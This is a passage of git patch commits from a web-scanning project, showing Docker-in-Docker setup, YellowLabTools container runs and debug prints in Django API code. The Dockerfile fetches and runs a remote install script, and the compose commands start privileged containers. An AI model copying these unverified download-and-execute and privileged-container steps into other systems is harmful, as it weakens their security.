+  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories \
+  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories \
+  && apk upgrade -U -a \
+  && apk add \
+    libjpeg-turbo-dev \
+    chromium \
+    ca-certificates \
+    freetype \
+    freetype-dev \
+    harfbuzz \
+    nss \
+    ttf-freefont \
+  && which chromium-browser && chromium-browser --version &&  chown -R nobody:nogroup . \
+  && rm -rf test doc
+
+# Create the results directory and assign nobody:nogroup as the owner
+RUN mkdir -p /usr/src/ylt/results && chown -R nobody:nogroup /usr/src/ylt/results
+
+# Add the volume for results
+VOLUME /usr/src/ylt/results
+
+# Run everything after as non-privileged user.
+USER nobody
+
+# Set up the Chromium environment
+ENV XDG_CONFIG_HOME /tmp/.chromium
+ENV XDG_CACHE_HOME /tmp/.chromium
+
+
+
+# entry point
+ENTRYPOINT [ "yellowlabtools" ]
\ No newline at end of file

From 3bac1bc1dd5d0d38e4d61e0ca07b43d62658de2e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 13:49:55 -0700
Subject: [PATCH 296/752] testing bulk test creation

---
 app/api/v1/ops/services.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 692457b3..03da8d71 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1217,6 +1217,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
     check_data = check_account(request=request)
     if not check_data['allowed']:
         data = {'reason': check_data['error'], 'success': False}
+        print(data)
         if request is not None:
             record_api_call(request, data, '402')
             return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
@@ -1289,6 +1290,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
 
         if not Scan.objects.filter(page=p).exists():
             data = {'reason': 'Page not yet onboarded', 'success': False,}
+            print(data)
             record_api_call(request, data, '400')
             return Response(data, status=status.HTTP_400_BAD_REQUEST)
         
@@ -1447,6 +1449,7 @@ def create_many_tests(request):
             }
             try:
                 res = create_test(delay=True, **data)
+                print(res)
                 if res['success']:
                     num_succeeded += 1
                     succeeded.append(str(id))

From 1a43cfa04be9772f4f271aea4f936218c82b1c56 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 13:51:18 -0700
Subject: [PATCH 297/752] removed --platform

---
 functions/dockerfiles/Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/functions/dockerfiles/Dockerfile b/functions/dockerfiles/Dockerfile
index 95bf0e49..8f98f6e5 100644
--- a/functions/dockerfiles/Dockerfile
+++ b/functions/dockerfiles/Dockerfile
@@ -1,4 +1,4 @@
-FROM --platform=linux/amd64 node:18-alpine
+FROM node:18-alpine
 
 # Tell Puppeteer to skip installing Chrome. We'll be using the installed binary
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true

From 92c27ee65585ddbf80a9f2735d6d89d3ceaad536 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 14:20:36 -0700
Subject: [PATCH 298/752] fixed bulk test issue

---
 app/api/v1/ops/services.py | 14 ++------------
 1 file changed, 2 insertions(+), 12 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 03da8d71..e22e3bc2 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -799,7 +799,7 @@ def create_scan(request=None, delay=False, *args, **kwargs):
     account = Member.objects.get(user=user).account
 
     if request is not None:
-        check_data = check_account(request=request)
+        check_data = check_account(user=user, resource='scan')
         if not check_data['allowed']:
             data = {'reason': check_data['error'], 'success': False}
             if request is not None:
@@ -1214,10 +1214,9 @@ def create_test(request=None, delay=False, *args, **kwargs):
         # get data from kwargs
     account = Member.objects.get(user=user).account
 
-    check_data = check_account(request=request)
+    check_data = check_account(user=user, resource='test')
     if not check_data['allowed']:
         data = {'reason': check_data['error'], 'success': False}
-        print(data)
         if request is not None:
             record_api_call(request, data, '402')
             return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
@@ -1228,7 +1227,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
             site = Site.objects.get(id=site_id)
         except:
             data = {'reason': 'cannot find a Site with that id', 'success': False,}
-            print(data)
             if request is not None:
                 record_api_call(request, data, '404')
                 return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1236,7 +1234,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
 
         if site.account != account:
             data = {'reason': 'create a Test of a Site you do not own', 'success': False,}
-            print(data)
             if request is not None:
                 record_api_call(request, data, '403')
                 return Response(data, status=status.HTTP_403_FORBIDDEN)
@@ -1247,14 +1244,12 @@ def create_test(request=None, delay=False, *args, **kwargs):
             page = Page.objects.get(id=page_id)
         except:
             data = {'reason': 'cannot find a Page with that id', 'success': False,}
-            print(data)
             if request is not None:
                 record_api_call(request, data, '404')
                 return Response(data, status=status.HTTP_404_NOT_FOUND)
             return data
         if page.account != account:
             data = {'reason': 'create a Test of a Page you do not own', 'success': False,}
-            print(data)
             if request is not None:
                 record_api_call(request, data, '403')
                 return Response(data, status=status.HTTP_403_FORBIDDEN)
@@ -1290,7 +1285,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
 
         if not Scan.objects.filter(page=p).exists():
             data = {'reason': 'Page not yet onboarded', 'success': False,}
-            print(data)
             record_api_call(request, data, '400')
             return Response(data, status=status.HTTP_400_BAD_REQUEST)
         
@@ -1299,7 +1293,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
                 pre_scan = Scan.objects.get(id=pre_scan_id)
             except:
                 data = {'reason': 'cannot find a Scan with that id - pre_scan', 'success': False,}
-                print(data)
                 if request is not None:
                     record_api_call(request, data, '404')
                     return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1309,7 +1302,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
                 post_scan = Scan.objects.get(id=post_scan_id)
             except:
                 data = {'reason': 'cannot find a Scan with that id - post_scan', 'success': False,}
-                print(data)
                 if request is not None:
                     record_api_call(request, data, '404')
                     return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1322,7 +1314,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
         if pre_scan:
             if pre_scan.time_completed == None:
                 data = {'reason': 'pre_scan still running', 'success': False,}
-                print(data)
                 if request is not None:
                     record_api_call(request, data, '400')
                     return Response(data, status=status.HTTP_400_BAD_REQUEST)
@@ -1331,7 +1322,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
         if post_scan:
             if post_scan.time_completed == None:
                 data = {'reason': 'post_scan still running', 'success': False,}
-                print(data)
                 if request is not None:
                     record_api_call(request, data, '400')
                     return Response(data, status=status.HTTP_400_BAD_REQUEST)

From 8dc02c5c669deff2bbf7526970ca40ea303fd08d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 14:31:35 -0700
Subject: [PATCH 299/752] still debugging

---
 app/api/v1/ops/services.py | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index e22e3bc2..e549a1a9 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1214,9 +1214,10 @@ def create_test(request=None, delay=False, *args, **kwargs):
         # get data from kwargs
     account = Member.objects.get(user=user).account
 
-    check_data = check_account(user=user, resource='test')
+    check_data = check_account(request=request, user=user, resource='test')
     if not check_data['allowed']:
         data = {'reason': check_data['error'], 'success': False}
+        print(data)
         if request is not None:
             record_api_call(request, data, '402')
             return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
@@ -1227,6 +1228,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
             site = Site.objects.get(id=site_id)
         except:
             data = {'reason': 'cannot find a Site with that id', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '404')
                 return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1234,6 +1236,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
 
         if site.account != account:
             data = {'reason': 'create a Test of a Site you do not own', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '403')
                 return Response(data, status=status.HTTP_403_FORBIDDEN)
@@ -1244,12 +1247,14 @@ def create_test(request=None, delay=False, *args, **kwargs):
             page = Page.objects.get(id=page_id)
         except:
             data = {'reason': 'cannot find a Page with that id', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '404')
                 return Response(data, status=status.HTTP_404_NOT_FOUND)
             return data
         if page.account != account:
             data = {'reason': 'create a Test of a Page you do not own', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '403')
                 return Response(data, status=status.HTTP_403_FORBIDDEN)
@@ -1285,6 +1290,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
 
         if not Scan.objects.filter(page=p).exists():
             data = {'reason': 'Page not yet onboarded', 'success': False,}
+            print(data)
             record_api_call(request, data, '400')
             return Response(data, status=status.HTTP_400_BAD_REQUEST)
         
@@ -1293,6 +1299,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
                 pre_scan = Scan.objects.get(id=pre_scan_id)
             except:
                 data = {'reason': 'cannot find a Scan with that id - pre_scan', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '404')
                     return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1302,6 +1309,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
                 post_scan = Scan.objects.get(id=post_scan_id)
             except:
                 data = {'reason': 'cannot find a Scan with that id - post_scan', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '404')
                     return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1314,6 +1322,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         if pre_scan:
             if pre_scan.time_completed == None:
                 data = {'reason': 'pre_scan still running', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '400')
                     return Response(data, status=status.HTTP_400_BAD_REQUEST)
@@ -1322,6 +1331,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         if post_scan:
             if post_scan.time_completed == None:
                 data = {'reason': 'post_scan still running', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '400')
                     return Response(data, status=status.HTTP_400_BAD_REQUEST)

From 3ccc2bb091e6dbf5537f40b97e6ee153d9e358d7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 14:36:30 -0700
Subject: [PATCH 300/752] trying docker install in image

---
 Dockerfile | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 9ad91e8e..e717b887 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -67,4 +67,8 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 
 # removing chromium config
-RUN rm -rf ~/.config/chromium
\ No newline at end of file
+RUN rm -rf ~/.config/chromium
+
+# trying to install docker
+RUN curl https://get.docker.com/builds/Linux/x86_64/docker-latest.tgz | tar xvz -C /tmp/ && \
+    mv /tmp/docker/docker /usr/bin/docker
\ No newline at end of file

From 7b836219104081015c04d4d2a3fc0cc0b1fa7e63 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 14:53:01 -0700
Subject: [PATCH 301/752] testing new docker install method

---
 Dockerfile | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index e717b887..4160264b 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -70,5 +70,11 @@ RUN chown -R app:app /usr/bin/chromium
 RUN rm -rf ~/.config/chromium
 
 # trying to install docker
-RUN curl https://get.docker.com/builds/Linux/x86_64/docker-latest.tgz | tar xvz -C /tmp/ && \
-    mv /tmp/docker/docker /usr/bin/docker
\ No newline at end of file
+RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
+    sh get-docker.sh
+
+
+# RUN for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done
+
+# RUN curl https://get.docker.com/builds/Linux/x86_64/docker-latest.tgz | tar xvz -C /tmp/ && \
+#     mv /tmp/docker/docker /usr/bin/docker
\ No newline at end of file

From 64b94ab47a9bca7effb8367cb871badbba45cadf Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 08:35:21 -0600
Subject: [PATCH 302/752] trying to start dind "dockerd" on container start

---
 Dockerfile             | 1 -
 docker-compose.dev.yml | 5 ++++-
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 4160264b..e3acf212 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -73,7 +73,6 @@ RUN rm -rf ~/.config/chromium
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
     sh get-docker.sh
 
-
 # RUN for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done
 
 # RUN curl https://get.docker.com/builds/Linux/x86_64/docker-latest.tgz | tar xvz -C /tmp/ && \
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 5752627a..c55c7c73 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,6 +20,7 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
+             docker run --privileged --rm -ti --entrypoint sh docker:dind &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -50,7 +51,9 @@ services:
     build:
       context: .
       dockerfile: Dockerfile
-    command: celery -A scanerr worker --beat --scheduler django --loglevel=info
+    command: >
+      sh -c "docker run --privileged --rm -ti --entrypoint sh docker:dind &&
+             celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr
     env_file:

From d1aa6072402c6fee1fc872f29645a3c3e01a169e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 08:38:28 -0600
Subject: [PATCH 303/752] full dind config

---
 docker-compose.dev.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index c55c7c73..87a589cc 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,7 +20,7 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
-             docker run --privileged --rm -ti --entrypoint sh docker:dind &&
+             docker run --privileged --name some-docker -d --network some-network --network-alias docker -e DOCKER_TLS_CERTDIR=/certs -v some-docker-certs-ca:/certs/ca -v some-docker-certs-client:/certs/client docker:dind &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -52,7 +52,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "docker run --privileged --rm -ti --entrypoint sh docker:dind &&
+      sh -c "docker run --privileged --name some-docker -d --network some-network --network-alias docker -e DOCKER_TLS_CERTDIR=/certs -v some-docker-certs-ca:/certs/ca -v some-docker-certs-client:/certs/client docker:dind &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr

From 8011d3338cea24ec793dabc5c840b29955f26889 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 08:44:52 -0600
Subject: [PATCH 304/752] testing new dockerd start

---
 docker-compose.dev.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 87a589cc..50d25a7c 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,7 +20,7 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
-             docker run --privileged --name some-docker -d --network some-network --network-alias docker -e DOCKER_TLS_CERTDIR=/certs -v some-docker-certs-ca:/certs/ca -v some-docker-certs-client:/certs/client docker:dind &&
+             dockerd &> dockerd-logfile &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -52,7 +52,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "docker run --privileged --name some-docker -d --network some-network --network-alias docker -e DOCKER_TLS_CERTDIR=/certs -v some-docker-certs-ca:/certs/ca -v some-docker-certs-client:/certs/client docker:dind &&
+      sh -c "dockerd &> dockerd-logfile &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr

From ac1b76afd332e4b60a284213e491c9af83f9c771 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 08:52:17 -0600
Subject: [PATCH 305/752] testing new dockerd start method

---
 docker-compose.dev.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 50d25a7c..743d8000 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,7 +20,7 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
-             dockerd &> dockerd-logfile &&
+             service docker start &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -52,7 +52,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "dockerd &> dockerd-logfile &&
+      sh -c "service docker start &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr

From e62f0adace1874ea7664ddc45ee5617a9a479ce4 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 09:07:23 -0600
Subject: [PATCH 306/752] testing new docker start cmd

---
 docker-compose.dev.yml | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 743d8000..fd7294c1 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,6 +20,8 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
+             echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)" && 
+             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker &&
              service docker start &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
@@ -52,7 +54,9 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "service docker start &&
+      sh -c "echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)" && 
+             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker &&
+             service docker start &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr

From 7269cab539d68ec546d1b50cb38a898f3bfd62f0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 09:10:22 -0600
Subject: [PATCH 307/752] adjusting docker start commands

---
 docker-compose.dev.yml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index fd7294c1..fbc12ccb 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,8 +20,8 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
-             echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)" && 
-             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker &&
+             echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)"; 
+             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
@@ -54,8 +54,8 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)" && 
-             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker &&
+      sh -c "echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)"; 
+             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:

From 61cfeb0a002674e90c562e01d24e843453dcfc74 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 09:12:59 -0600
Subject: [PATCH 308/752] removed echo

---
 docker-compose.dev.yml | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index fbc12ccb..66fe94a9 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,7 +20,6 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
-             echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)"; 
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
@@ -54,8 +53,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "echo "ulimits: $(ulimit -Sn):$(ulimit -Hn)"; 
-             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
+      sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:

From a56884a9715f1930a1b91e01af0797839739a4b7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 09:42:50 -0600
Subject: [PATCH 309/752] trying new docker method

---
 app/api/utils/yellowlab.py | 3 ++-
 docker-compose.dev.yml     | 2 ++
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index eda3eaa5..e1c90b09 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -33,7 +33,8 @@ def init_audit(self):
     def yellowlab_api(self) -> dict:
         """ 
         Serves as the backup method for collecting YL metrics.
-        Sends API requests to http://yellowlab.scanerr.io:8383.
+        Sends API requests to http://yellowlab.scanerr.io:8383
+        or localhost:8383
 
         Returns --> raw YL data
         """
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 66fe94a9..781516fd 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -22,6 +22,7 @@ services:
              python3 manage.py driver_p_test && 
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
+             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -55,6 +56,7 @@ services:
     command: >
       sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
+             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr

From eedb7ebe3caf78ee42320dc85271f4aeec41c2d7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 09:53:51 -0600
Subject: [PATCH 310/752] added sleep commands to conatiner start

---
 docker-compose.dev.yml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 781516fd..b938890b 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -22,6 +22,7 @@ services:
              python3 manage.py driver_p_test && 
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
+             sleep 10 &&
              docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
@@ -56,6 +57,7 @@ services:
     command: >
       sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
+             sleep 10 &&
              docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:

From ec80ec5001adb58bfbc82e9aea03eb87e52cf154 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 10:20:19 -0600
Subject: [PATCH 311/752] debugging

---
 Dockerfile                 | 7 +------
 app/api/utils/yellowlab.py | 3 +++
 2 files changed, 4 insertions(+), 6 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index e3acf212..d4490295 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -71,9 +71,4 @@ RUN rm -rf ~/.config/chromium
 
 # trying to install docker
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
-
-# RUN for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done
-
-# RUN curl https://get.docker.com/builds/Linux/x86_64/docker-latest.tgz | tar xvz -C /tmp/ && \
-#     mv /tmp/docker/docker /usr/bin/docker
\ No newline at end of file
+    sh get-docker.sh
\ No newline at end of file
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index e1c90b09..f6623615 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -50,6 +50,7 @@ def yellowlab_api(self) -> dict:
         }
 
         # setting up initial request
+        print('sending YLT API request...')
         res = requests.post(
             url=f'{settings.YELLOWLAB_ROOT}/api/runs',
             data=json.dumps(data),
@@ -67,6 +68,7 @@ def yellowlab_api(self) -> dict:
         while not done and wait_time < max_wait:
 
             # sending run request check
+            print('checking YLT API request...')
             res = requests.get(
                 url=f'{settings.YELLOWLAB_ROOT}/api/runs/{run_id}',
                 headers=headers
@@ -90,6 +92,7 @@ def yellowlab_api(self) -> dict:
 
 
         # getting run results
+        print('retrieveing YLT API request...')
         res = requests.get(
             url=f'{settings.YELLOWLAB_ROOT}/api/results/{run_id}',
             headers=headers

From 13f903d6b1c93a20c3558b4c960e164a27515e08 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 13:21:13 -0600
Subject: [PATCH 312/752] new dockerfile for ylt

---
 docker-compose.dev.yml           | 4 ++--
 functions/dockerfiles/Dockerfile | 9 +++++++--
 2 files changed, 9 insertions(+), 4 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index b938890b..036d715e 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -23,7 +23,7 @@ services:
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              sleep 10 &&
-             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
+             docker run -d --privileged --restart unless-stopped -p 8383:8383 ousamabenyounes/yellowlabtools &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -58,7 +58,7 @@ services:
       sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              sleep 10 &&
-             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
+             docker run -d --privileged --restart unless-stopped -p 8383:8383 ousamabenyounes/yellowlabtools &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr
diff --git a/functions/dockerfiles/Dockerfile b/functions/dockerfiles/Dockerfile
index 8f98f6e5..38fdf649 100644
--- a/functions/dockerfiles/Dockerfile
+++ b/functions/dockerfiles/Dockerfile
@@ -7,11 +7,16 @@ ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium-browser
 ENV DOCKERIZED yes
 
+# increasing allocated memory to node
+ENV NODE_OPTIONS=--max_old_space_size=4000
+ENV NODE_OPTIONS="--max-old-space-size=4000"
+ENV GENERATE_SOURCEMAP=false
+
 WORKDIR /usr/src/ylt
 
 RUN apk upgrade --update && apk --no-cache add git gcc make g++ zlib-dev libjpeg-turbo-dev nasm automake autoconf libtool \
-  && NODE_ENV=production && export CPPFLAGS="-DPNG_ARM_NEON_OPT=0" \ 
-  && npm install -g yellowlabtools@2.2.0 --unsafe-perm=true --allow-root --legacy-peer-deps --omit=dev \
